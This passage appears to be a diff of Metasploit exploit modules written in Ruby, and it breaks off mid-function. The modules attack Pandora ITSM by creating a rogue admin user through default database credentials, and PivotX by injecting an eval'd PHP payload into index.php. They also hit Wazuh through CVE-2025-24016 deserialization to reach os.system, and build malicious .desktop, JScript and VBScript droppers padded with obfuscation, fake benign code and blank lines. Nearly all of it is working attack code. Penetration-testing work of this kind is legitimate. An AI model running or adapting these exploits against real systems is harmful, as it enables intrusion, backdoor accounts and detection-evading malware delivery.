success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)
|
||||
end
|
||||
if success
|
||||
print_good('Payload entries successfully removed from backup list.')
|
||||
else
|
||||
print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')
|
||||
end
|
||||
end
|
||||
|
||||
# try to remove the payload from the backup list to cover our tracks
|
||||
def cleanup
|
||||
super
|
||||
# Disconnect from MySQL server
|
||||
mysql_client.close if mysql_client
|
||||
# check if payload should be cleaned
|
||||
clean_rce_payload(@rce_payload) if @clean_payload
|
||||
end
|
||||
|
||||
def check
|
||||
# use API v1.0 to check version
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'include', 'api.php'),
|
||||
'vars_get' => {
|
||||
'info' => 'version'
|
||||
}
|
||||
})
|
||||
return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
|
||||
return CheckCode::Safe('Target is not a Pandora ITSM application.') unless res.body.include?('Pandora ITSM')
|
||||
|
||||
version = res.body.match(/\d{1,3}\.\d{1,3}\.\d{1,3}/)
|
||||
unless version.nil?
|
||||
version = Rex::Version.new(version)
|
||||
if version < Rex::Version.new('5.0.106')
|
||||
return CheckCode::Appears(res.body.strip.to_s)
|
||||
else
|
||||
return CheckCode::Safe(res.body.strip.to_s)
|
||||
end
|
||||
end
|
||||
CheckCode::Detected('Could not determine the Pandora ITSM version.')
|
||||
end
|
||||
|
||||
def exploit
|
||||
# check if we can login at the Pandora Web application with the default admin credentials
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
print_status("Trying to log in with admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
|
||||
unless pandoraitsm_login(username, password)
|
||||
# connect to the PostgreSQL DB with default credentials
|
||||
print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
|
||||
mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
|
||||
fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res
|
||||
|
||||
# add a new admin user
|
||||
username = Rex::Text.rand_text_alphanumeric(5..8).downcase
|
||||
password = Rex::Text.rand_password
|
||||
|
||||
# check the password hash algorithm by reading the password hash of the admin user
|
||||
# new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
|
||||
mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_usuario = 'admin';")
|
||||
fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
|
||||
hash = mysql_query_res.fetch_hash
|
||||
if hash['password'].match(/^\$2.\$/)
|
||||
password_hash = Password.create(password)
|
||||
else
|
||||
password_hash = Digest::MD5.hexdigest(password)
|
||||
end
|
||||
print_status("Creating new admin user with credentials #{username}:#{password} for access at the Pandora ITSM Web application.")
|
||||
mysql_query_res = mysql_query("INSERT INTO tusuario (id_usuario, password, nivel) VALUES (\'#{username}\', \'#{password_hash}\', '1');")
|
||||
fail_with(Failure::BadConfig, "Adding new admin credentials #{username}:#{password} to the database failed.") if mysql_query_res == false
|
||||
|
||||
# log in with the new admin user credentials at the Pandora ITSM Web application
|
||||
print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora ITSM Web application.') unless pandoraitsm_login(username, password)
|
||||
end
|
||||
print_status('Successfully authenticated at the Pandora ITSM Web application.')
|
||||
|
||||
# storing credentials at the msf database
|
||||
print_status('Saving admin credentials to the msf database.')
|
||||
store_valid_credential(user: username, private: password)
|
||||
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
execute_payload(payload.encoded)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,162 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
|
||||
|
||||
include Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'PivotX Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'HayToN', # security research
|
||||
'msutovsky-r7' # module dev
|
||||
],
|
||||
'References' => [
|
||||
[ 'EDB', '52361' ],
|
||||
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
|
||||
[ 'CVE', '2025-52367']
|
||||
],
|
||||
'Targets' => [
|
||||
[
|
||||
'Linux',
|
||||
{
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
|
||||
'DisclosureDate' => '2025-07-10',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
|
||||
OptString.new('PASSWORD', [true, 'PivotX password', '']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
|
||||
})
|
||||
|
||||
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
|
||||
|
||||
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
|
||||
|
||||
html_body = res.get_html_document
|
||||
|
||||
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
|
||||
|
||||
version = Rex::Version.new(Regexp.last_match(1))
|
||||
|
||||
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
|
||||
|
||||
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
|
||||
end
|
||||
|
||||
def login
|
||||
data_post = Rex::MIME::Message.new
|
||||
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
|
||||
data_post.add_part('', nil, nil, %(form-data; name="template"))
|
||||
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
|
||||
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
|
||||
'vars_get' => { 'page' => 'login' },
|
||||
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
|
||||
'data' => data_post.to_s,
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]")
|
||||
fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
|
||||
|
||||
@csrf_token = Regexp.last_match(1)
|
||||
end
|
||||
|
||||
def modify_file
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
|
||||
'vars_get' => { 'page' => 'homeexplore' }
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
|
||||
|
||||
@base_dir = Regexp.last_match(1)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
|
||||
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
|
||||
|
||||
@original_value = res.get_html_document.at('textarea')&.text
|
||||
|
||||
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
|
||||
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
|
||||
})
|
||||
|
||||
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
|
||||
end
|
||||
|
||||
def trigger_payload
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php')
|
||||
})
|
||||
end
|
||||
|
||||
def restore
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
|
||||
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
|
||||
})
|
||||
vprint_status('Restoring original content')
|
||||
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
# original content can be any string, it cannot be nil
|
||||
restore if @original_value.nil?
|
||||
end
|
||||
|
||||
def exploit
|
||||
vprint_status('Logging in PivotX')
|
||||
login
|
||||
vprint_status('Modifying file and injecting payload')
|
||||
modify_file
|
||||
vprint_status('Triggering payload')
|
||||
trigger_payload
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,144 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.',
|
||||
'Description' => %q{
|
||||
Wazuh is a free and open source platform used for threat prevention, detection, and response.
|
||||
Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
|
||||
allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized
|
||||
as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
|
||||
If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
|
||||
forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
|
||||
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
|
||||
servers in the cluster) or, in certain configurations, even by a compromised agent.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
|
||||
'DanielFi https://github.com/DanielFi', # Discovery
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-24016'],
|
||||
['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'],
|
||||
['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Privileged' => false,
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix/Linux Command',
|
||||
{
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-02-10',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'RPORT' => 55000
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']),
|
||||
OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']),
|
||||
OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-'])
|
||||
])
|
||||
end
|
||||
|
||||
# get Wazuh API token
|
||||
# return token if API login is successful else nil
|
||||
def get_api_token
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
|
||||
'headers' => {
|
||||
'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
|
||||
}
|
||||
})
|
||||
return unless res&.code == 200 && res.body.include?('token')
|
||||
|
||||
res_json = res.get_json_document
|
||||
res_json['data']['token'] unless res_json.blank?
|
||||
end
|
||||
|
||||
# get the Wazuh version
|
||||
# return version if successful else nil
|
||||
def get_wazuh_version(api_token)
|
||||
api_auth = "Bearer #{api_token}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'headers' => {
|
||||
'Authorization' => api_auth.to_s
|
||||
}
|
||||
})
|
||||
return unless res&.code == 200 && res.body.include?('api_version')
|
||||
|
||||
res_json = res.get_json_document
|
||||
res_json['data']['api_version'] unless res_json.blank?
|
||||
end
|
||||
|
||||
# CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability
|
||||
def execute_payload(cmd, _opts = {})
|
||||
# {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
|
||||
post_data = {
|
||||
__unhandled_exc__: {
|
||||
__class__: 'os.system',
|
||||
__args__: [ cmd.to_s ]
|
||||
}
|
||||
}.to_json
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
|
||||
},
|
||||
'data' => post_data.to_s
|
||||
})
|
||||
end
|
||||
|
||||
def check
|
||||
# check Wazuh API access with the API credentials
|
||||
api_token = get_api_token
|
||||
return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?
|
||||
|
||||
version = get_wazuh_version(api_token)
|
||||
return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?
|
||||
|
||||
version = Rex::Version.new(version)
|
||||
unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
|
||||
return CheckCode::Safe("Wazuh version #{version}")
|
||||
end
|
||||
|
||||
CheckCode::Appears("Wazuh version #{version}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
execute_payload(payload.encoded)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,86 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Malicious XDG Desktop File',
|
||||
'Description' => %q{
|
||||
This module creates a malicious XDG Desktop (.desktop) file.
|
||||
|
||||
On most modern systems, desktop files are not trusted by default.
|
||||
The user will receive a warning prompt that the file is not trusted
|
||||
when running the file, but may choose to run the file anyway.
|
||||
|
||||
The default file manager applications in some desktop environments
|
||||
may impose more strict execution requirements by prompting the user
|
||||
to set the file as executable and/or marking the file as trusted
|
||||
before the file can be executed.
|
||||
},
|
||||
'Author' => [
|
||||
'bcoles'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
|
||||
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
|
||||
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
|
||||
['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
|
||||
],
|
||||
'Platform' => %w[linux unix solaris freebsd],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2007-02-06',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [SCREEN_EFFECTS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The desktop file name.', 'msf.desktop']),
|
||||
OptString.new('APPLICATION_NAME', [false, 'The application name. Some file managers will display this name instead of the file name. (default is random)', '']),
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the payload.', 100]),
|
||||
])
|
||||
end
|
||||
|
||||
def application_name
|
||||
datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
|
||||
end
|
||||
|
||||
def exploit
|
||||
values = [
|
||||
'Type=Application',
|
||||
"Name=#{application_name}",
|
||||
# 'Hidden=true', # This property is not supported by old systems, which prevents execution
|
||||
'NoDisplay=true',
|
||||
'Terminal=false'
|
||||
]
|
||||
desktop = "[Desktop Entry]\n"
|
||||
desktop << values.shuffle.join("\n")
|
||||
desktop << "\n"
|
||||
desktop << "\n" * datastore['PrependNewLines']
|
||||
|
||||
escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
|
||||
desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""
|
||||
|
||||
file_create(desktop)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,116 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::JSObfu
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Malicious Windows Script Host JScript (.js) File',
|
||||
'Description' => %q{
|
||||
This module creates a Windows Script Host (WSH) JScript (.js) file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'bcoles'
|
||||
],
|
||||
'References' => [
|
||||
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
|
||||
],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Platform' => 'win',
|
||||
'Payload' => {
|
||||
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'Microsoft Windows 98 or newer', {}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '1998-06-25', # Windows 98 release date
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [SCREEN_EFFECTS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']),
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
|
||||
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]),
|
||||
])
|
||||
end
|
||||
|
||||
def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
|
||||
js = ''
|
||||
|
||||
# TODO: This could be improved by generating more realistic looking
|
||||
# benign code with functions and flow control
|
||||
if prepend_benign_code
|
||||
rand(5..10).times do
|
||||
js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
|
||||
end
|
||||
end
|
||||
|
||||
js << "\r\n" * prepend_new_lines
|
||||
|
||||
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
|
||||
|
||||
# If the payload contains " & " we presume it is a command string.
|
||||
#
|
||||
# TODO: Change this once Metasploit is able to inform a module that
|
||||
# the specified ARCH_CMD payload is a string of commands
|
||||
# (not a single command).
|
||||
if escaped_payload.include?(' & ')
|
||||
cmd = "cmd.exe /c #{escaped_payload}"
|
||||
else
|
||||
cmd = escaped_payload
|
||||
end
|
||||
|
||||
shell_var = rand_text_alpha(6..16)
|
||||
js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
|
||||
js_payload << "#{shell_var}.Run(\"#{cmd}\");"
|
||||
|
||||
if obfuscate
|
||||
js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
|
||||
obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
|
||||
# WSH JScript execution context does not support 'window' object
|
||||
obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
|
||||
js << obfuscated_payload
|
||||
else
|
||||
js << js_payload
|
||||
end
|
||||
|
||||
js
|
||||
end
|
||||
|
||||
def exploit
|
||||
js = generate_jscript(
|
||||
payload.encoded,
|
||||
prepend_benign_code: datastore['PrependBenignCode'],
|
||||
prepend_new_lines: datastore['PrependNewLines'],
|
||||
obfuscate: datastore['OBFUSCATE']
|
||||
)
|
||||
file_create(js)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,220 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Malicious Windows Script Host VBScript (.vbs) File',
|
||||
'Description' => %q{
|
||||
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'bcoles'
|
||||
],
|
||||
'References' => [
|
||||
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
|
||||
],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Platform' => 'win',
|
||||
'Payload' => {
|
||||
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'Microsoft Windows 98 or newer', {}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '1998-06-25', # Windows 98 release date
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [SCREEN_EFFECTS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The VBScript file name.', 'msf.vbs']),
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
|
||||
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript.', 100]),
|
||||
])
|
||||
end
|
||||
|
||||
# Returns a random math expression evaluating to input int
|
||||
#
|
||||
# @param [Integer] int input integer
|
||||
#
|
||||
# @return [String] math expression evaluating to input int
|
||||
def generate_number_expression(int)
|
||||
case rand(4)
|
||||
when 0 # Sum
|
||||
a = rand(0..int)
|
||||
b = int - a
|
||||
"(#{a}+#{b})"
|
||||
when 1 # Difference
|
||||
r1 = int + rand(1..10)
|
||||
r2 = r1 - int
|
||||
"(#{r1}-#{r2})"
|
||||
when 2 # Product (only if divisible)
|
||||
divisors = (1..int).select { |d| (int % d).zero? }
|
||||
if divisors.size > 1
|
||||
d = divisors.sample
|
||||
"(#{d}*#{int / d})"
|
||||
else
|
||||
"(#{int}+0)"
|
||||
end
|
||||
when 3 # Quotient
|
||||
r2 = rand(1..10)
|
||||
r1 = int * r2
|
||||
"(#{r1}/#{r2})"
|
||||
end
|
||||
end
|
||||
|
||||
# Return VBScript code with all strings split into chunks and concatenated
|
||||
#
|
||||
# @param [String] vbscript VBScript code
|
||||
#
|
||||
# @return [String] VBScript code with chunked strings
|
||||
def chunk_vbscript_strings(vbscript)
|
||||
vbscript.gsub(/"([^"]+)"/) do
|
||||
original = Regexp.last_match(1)
|
||||
chunks = []
|
||||
|
||||
i = 0
|
||||
while i < original.length
|
||||
chunk_size = rand(1..5)
|
||||
chunks << "\"#{original[i, chunk_size]}\""
|
||||
i += chunk_size
|
||||
end
|
||||
|
||||
chunks.join(' & ')
|
||||
end
|
||||
end
|
||||
|
||||
# Build a series of benign VBScript noise blocks
|
||||
#
|
||||
# @param [Integer] block_count Number of blocks to generate
|
||||
#
|
||||
# @return [String] block_count blocks of inert VBScript
|
||||
def generate_vbscript_noise(block_count = 0)
|
||||
lines = []
|
||||
|
||||
block_count.times do
|
||||
case rand(4)
|
||||
when 0 # Dummy variable declarations and assignments
|
||||
v1 = rand_text_alpha(6..16)
|
||||
v2 = rand_text_alpha(6..16)
|
||||
a = rand(0..100)
|
||||
b = rand(0..100)
|
||||
lines << "Dim #{v1}, #{v2}"
|
||||
lines << "#{v1} = #{a}"
|
||||
lines << "#{v2} = #{b}"
|
||||
when 1 # Dummy Function
|
||||
fname = rand_text_alpha(6..16)
|
||||
arg = rand_text_alpha(6..16)
|
||||
mult = rand(1..5)
|
||||
lines << "Function #{fname}(#{arg})"
|
||||
lines << " #{fname} = #{arg} * #{mult}"
|
||||
lines << 'End Function'
|
||||
when 2 # Dummy Sub
|
||||
sname = rand_text_alpha(6..16)
|
||||
arg = rand_text_alpha(6..16)
|
||||
mult = rand(1..5)
|
||||
lines << "Sub #{sname}(#{arg})"
|
||||
lines << " #{sname} = #{arg} * #{mult}"
|
||||
lines << 'End Sub'
|
||||
when 3 # Dummy For loop
|
||||
idx = rand_text_alpha(6..16)
|
||||
max = rand(1..5)
|
||||
lines << "Dim #{idx}"
|
||||
lines << "For #{idx} = 1 To #{max}"
|
||||
lines << " #{idx} = #{idx} + 0"
|
||||
lines << 'Next'
|
||||
end
|
||||
end
|
||||
|
||||
lines.join("\r\n")
|
||||
end
|
||||
|
||||
# Obfuscate string literals and integer literals
|
||||
#
|
||||
# @param [String] vbscript VBScript code to be obfuscated
|
||||
#
|
||||
# @return [String] Obfuscated VBScript
|
||||
def obfuscate_vbscript(vbscript)
|
||||
obfuscated = vbscript.dup
|
||||
|
||||
# Obfuscate strings
|
||||
obfuscated = chunk_vbscript_strings(obfuscated)
|
||||
obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
|
||||
raw = ::Regexp.last_match(1).gsub('""', '"')
|
||||
raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
|
||||
end
|
||||
|
||||
# Obfuscate integers
|
||||
obfuscated.gsub!(/\b\d+\b/) do |num|
|
||||
generate_number_expression(num.to_i)
|
||||
end
|
||||
|
||||
obfuscated
|
||||
end
|
||||
|
||||
def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
|
||||
vbs = ''
|
||||
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
|
||||
vbs << "\r\n" * prepend_new_lines
|
||||
|
||||
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
|
||||
|
||||
# If the payload contains " & " we presume it is a command string.
|
||||
#
|
||||
# TODO: Change this once Metasploit is able to inform a module that
|
||||
# the specified ARCH_CMD payload is a string of commands
|
